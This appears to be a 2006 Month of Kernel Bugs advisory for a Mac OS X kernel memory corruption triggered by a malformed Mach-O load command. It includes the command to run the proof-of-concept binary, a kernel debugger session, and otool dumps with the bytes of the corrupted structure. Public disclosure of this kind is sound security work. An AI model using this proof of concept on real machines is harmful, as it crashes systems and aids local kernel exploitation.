MOKB-23-11-2006 OMG! PWNIES! M4C BUGS NOW COME IN P1NK!

Bug details
Title: Mac OS X Mach-O Binary Loading Memory Corruption Warning - wet floor!
Description: Mac OS X fails to properly handle corrupted Mach-O binaries, leading to an exploitable memory corruption condition. This is triggered by execution of a Mach-O binary with a valid mach_header structure and corrupted load_command data structures. Local unprivileged users can abuse this issue.
Author/Contributor: NA<NA[at] info-pull.com> - discovery, MoKB release, debugging.
References:
Proof of concept or exploit: The following Mach-O binary (x86) can be used to reproduce the bug: MOKB-23-11-2006.bz2
bunzip2 MOKB-23-11-2006.bz2 && ./MOKB-23-11-2006
Debugging information:

It's been tested on an up-to-date (22-11-2006) Mac OS X installation, running on an Intel "shipping" Mac (x86). This and other issues related to Mach-O binary binary loading code have been found using a custom, format-aware fuzzer as well as a modified version of mangle.c (enabled for use of custom offsets and fuzzing of specific streams). Code and patches may be released after future releases.

brubg:/tmp feuckstevo$ gdb /Volumes/KernelDebugKit/mach_kernel -c core-xnu-792.13.8-172.16.0.10-macho-trap-13
GNU gdb 6.3.50-20050815 (Apple version gdb-573) (Fri Oct 20 15:50:43 GMT 2006)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-apple-darwin"...
#0  Debugger (message=Cannot access memory at address 0xffe17a10
) at /SourceCache/xnu/xnu-792.13.8/osfmk/i386/AT386/model_dep.c:770
Line number 770 out of range; /SourceCache/xnu/xnu-792.13.8/osfmk/i386/AT386/model_dep.c has 312 lines.
(gdb) source /Volumes/KernelDebugKit/kgmacros
Loading Kernel GDB Macros package.  Type "help kgm" for more info.
Cannot access memory at address 0xffe17a08

(gdb) info registers
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0x1      1
esp            0xffe1797c       0xffe1797c
ebp            0xffe17a08       0xffe17a08
esi            0x1      1
edi            0x1000   4096
eip            0x1a8674 0x1a8674 
eflags         0x0      0
cs             0x0      0
ss             0x0      0
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

(gdb) bt
#0  Debugger (message=Cannot access memory at address 0xffe17a10
) at /SourceCache/xnu/xnu-792.13.8/osfmk/i386/AT386/model_dep.c:770
Cannot access memory at address 0xffe17a0c

(gdb) showcurrentstacks
task        vm_map      ipc_space  #acts   pid  proc        command
0x02e06da0  0x02cedeb4  0x02588ec8    1   9191  0x02d979c4  Mach-o_3720
            activation  thread      pri  state  wait_queue  wait_event
            0x0272b160  0x0272b160   31  R
                kernel_stack=0x13ff8000
                stacktop=0xffe17a08
                0xffe17a08  Cannot access memory at address 0xffe17a0c

(gdb) paniclog
panic(cpu 0 caller 0x001A3135): Unresolved kernel trap (CPU 0, Type 13=general protection), registers:
CR0: 0x8001003b, CR2: 0x243ffcd4, CR3: 0x00d72000, CR4: 0x000006e0
EAX: 0x00000000, EBX: 0x00000000, ECX: 0x00000000, EDX: 0x9003b7dc
CR2: 0xffe17ba4, EBP: 0x00000000, ESI: 0x00000000, EDI: 0x00000000
EFL: 0x00000200, EIP: 0x00001ff3, CS:  0x0000002c, DS:  0x0000001f

Backtrace, Format - Frame : Return Address (4 potential args on stack)
0xffe17a08 : 0x128d1f (0x3c9540 0xffe17a2c 0x131df4 0x0)
0xffe17a48 : 0x1a3135 (0x3cf1f4 0x0 0xd 0x3cea10)
0xffe17b58 : 0x19a8d4 (0xffe17b70 0x0 0x0 0x0) Backtrace terminated-invalid frame pointer 0x0

Kernel version:
Darwin Kernel Version 8.8.1: Mon Sep 25 19:42:00 PDT 2006; root:xnu-792.13.8.obj~1/RELEASE_I386

(gdb) x/i 0x19a8d4
0x19a8d4 : mov    %edi,%esp
(gdb) x/i 0x1a3135
0x1a3135 :    mov    4(%eax),%eax
(gdb) x/i 0x128d1f
0x128d1f :   mov    4317808,%ecx

(gdb) x/i 0x243ffcd4
0x243ffcd4:     je     0x243ffd43
(gdb) x/20 0x243ffcd4
0x243ffcd4:     je     0x243ffd43
0x243ffcd6:     jo     0x243ffd07
0x243ffcd8:     dec    %ebp
0x243ffcd9:     popa
0x243ffcda:     arpl   %bp,45(%eax)
0x243ffcdd:     outsl  %ds:(%esi),(%dx)
0x243ffcde:     pop    %edi
0x243ffcdf:     xor    (%edi),%esi
0x243ffce1:     xor    (%eax),%dh
0x243ffce3:     add    %dh,112(%ebp,%ebp,2)
0x243ffce7:     das
0x243ffce8:     dec    %ebp
0x243ffce9:     popa
0x243ffcea:     arpl   %bp,45(%eax)
0x243ffced:     outsl  %ds:(%esi),(%dx)
0x243ffcee:     pop    %edi
0x243ffcef:     xor    (%edi),%esi
0x243ffcf1:     xor    (%eax),%dh
0x243ffcf3:     add    %dl,72(%ebx)
0x243ffcf6:     inc    %ebp

(gdb) x/20 0x243ffd43
0x243ffd43:     inc    %ebp
0x243ffd44:     push   %edx
0x243ffd45:     cmp    $0x65726f6c,%eax
0x243ffd4a:     outsb  %ds:(%esi),(%dx)
0x243ffd4b:     jp     0x243ffdbc
0x243ffd4d:     je     0x243ffdb4
0x243ffd4f:     jae    0x243ffdc5
0x243ffd51:     add    %dl,65(%eax)
0x243ffd54:     push   %esp
0x243ffd55:     dec    %eax
0x243ffd56:     cmp    $0x6e69622f,%eax
0x243ffd5b:     cmp    (%edi),%ch
0x243ffd5d:     jae    0x243ffdc1
0x243ffd5f:     imul   $0x7273752f,58(%esi),%ebp
0x243ffd66:     das
0x243ffd67:     bound  %ebp,110(%ecx)
0x243ffd6a:     cmp    (%edi),%ch
0x243ffd6c:     jne    0x243ffde1
0x243ffd6e:     jb     0x243ffd9f
0x243ffd70:     jae    0x243ffdd4

(gdb) showmapvme 0x02cedeb4
vm_map      pmap        vm_size    #ents rpage  hint        first_free
0x02cedeb4  0x025c1a40  0x20814000    5      1  0x02ce8ce4  0x02bf60b0
    entry       start               prot #page  object      offset
    0x02bf60b0  0x0000000000000000  00C      1  0x00000000  0x0000000000000000
    0x02c3f6b4  0x0000000090000000  11Ss 65536  0x013d6ce4  0x0000000000000000
    0x02cdb790  0x00000000a0000000  11Ss 65536  0x013d6c80  0x0000000000000000
    0x02ce8ce4  0x00000000bf800000  37C   2048  0x03267bb0  0x0000000000000000
    0x02c15ef4  0x00000000fffec000  55-     19  0x025b7660  0x0000000000000000

(gdb) x/10 0x013d6ce4
0x13d6ce4 :  0x00000000      0xfff80000      0x00000000      0x02c72294
0x13d6cf4 :  0x0268db84      0x00000000      0x00000000      0x10000000
0x13d6d04 :  0x00000000      0x00000100

--------------- proof of concept mach-o binary
$ otool -l mach-o_bug-trap-13
mach-o_bug-trap-13:
Load command 0
      cmd LC_SEGMENT
  cmdsize 56
  segname __PAGEZERO
   vmaddr 0x00000000
   vmsize 0x00001000
  fileoff 0
 filesize 0
  maxprot 0x00000000
 initprot 0x00000000
   nsects 0
    flags 0x4
Load command 1
      cmd ?(0x9b000001) Unknown load command
  cmdsize 124
45545f5f 00005458 00000000 00000000 00001000 00001000 00000000 00001000
00000007 00000005 00000001 00000004 65745f5f 00007478 00000000 00000000
45545f5f 00005458 00000000 00e50000 00001ff3 0000000d 00000ff3 00000000
00000000 00000000 80000400 00000000 00000000
Load command 2
     cmd LC_SYMTAB
 cmdsize 24
  symoff 0
   nsyms 0
  stroff 0
 strsize 0
Load command 3
        cmd LC_UNIXTHREAD
    cmdsize 80
     flavor i386_THREAD_STATE
      count i386_THREAD_STATE_COUNT
            eax 0x00000000 ebx    0x00000000 ecx 0x00000000 edx 0x00000000
            edi 0x00000000 esi    0x00000000 ebp 0x00000000 esp 0x00000000
            ss  0x0000001f eflags 0x00000000 eip 0x00001ff3 cs  0x0000002c
            ds  0x0000001f es     0x0000001f fs  0x00000000 gs  0x00000000

--------------- legitimate mach-o binary
Load command 0
      cmd LC_SEGMENT
  cmdsize 56
  segname __PAGEZERO
   vmaddr 0x00000000
   vmsize 0x00001000
  fileoff 0
 filesize 0
  maxprot 0x00000000
 initprot 0x00000000
   nsects 0
    flags 0x4
Load command 1
      cmd LC_SEGMENT
  cmdsize 124
  segname __TEXT
   vmaddr 0x00001000
   vmsize 0x00001000
  fileoff 0
 filesize 4096
  maxprot 0x00000007
 initprot 0x00000005
   nsects 1
    flags 0x4
Section
  sectname __text
   segname __TEXT
      addr 0x00001ff3
      size 0x0000000d
    offset 4083
     align 2^0 (1)
    reloff 0
    nreloc 0
     flags 0x80000400
 reserved1 0
 reserved2 0
Load command 2
     cmd LC_SYMTAB
 cmdsize 24
  symoff 0
   nsyms 0
  stroff 0
 strsize 0
Load command 3
        cmd LC_UNIXTHREAD
    cmdsize 80
     flavor i386_THREAD_STATE
      count i386_THREAD_STATE_COUNT
            eax 0x00000000 ebx    0x00000000 ecx 0x00000000 edx 0x00000000
            edi 0x00000000 esi    0x00000000 ebp 0x00000000 esp 0x00000000
            ss  0x0000001f eflags 0x00000000 eip 0x00001ff3 cs  0x00000017
            ds  0x0000001f es     0x0000001f fs  0x00000000 gs  0x00000000

---------------------
$ gcc macho-fuzz.c -o macho-fuzz
$ ./macho-fuzz mach-o_bug-trap-13
Mach-O fuzzing tool - Copyright (c) 2006,NA<NA[at] info-pull.com>.
info: data at 0x804b008, 4096 bytes
Reading Mach-O structure:
mach_header.magic       = 0xfeedface
mach_header.cputype     = 0x00000007
mach_header.cpusubtype  = 0x00000003
mach_header.filetype    = 0x00000002
mach_header.ncmds       = 0x00000004
mach_header.sizeofcmds  = 0x0000011c (284)
mach_header.flags       = 0x00002001
load_command[0].cmd     = 0x00000001
load_command[0].cmdsize = 0x00000038
load_command[1].cmd     = 0x9b000001
load_command[1].cmdsize = 0x0000007c
load_command[2].cmd     = 0x00000002
load_command[2].cmdsize = 0x00000018
load_command[3].cmd     = 0x00000005
load_command[3].cmdsize = 0x00000050
-- random structure generation test:
load_command: cmd=4 cmdsize=2163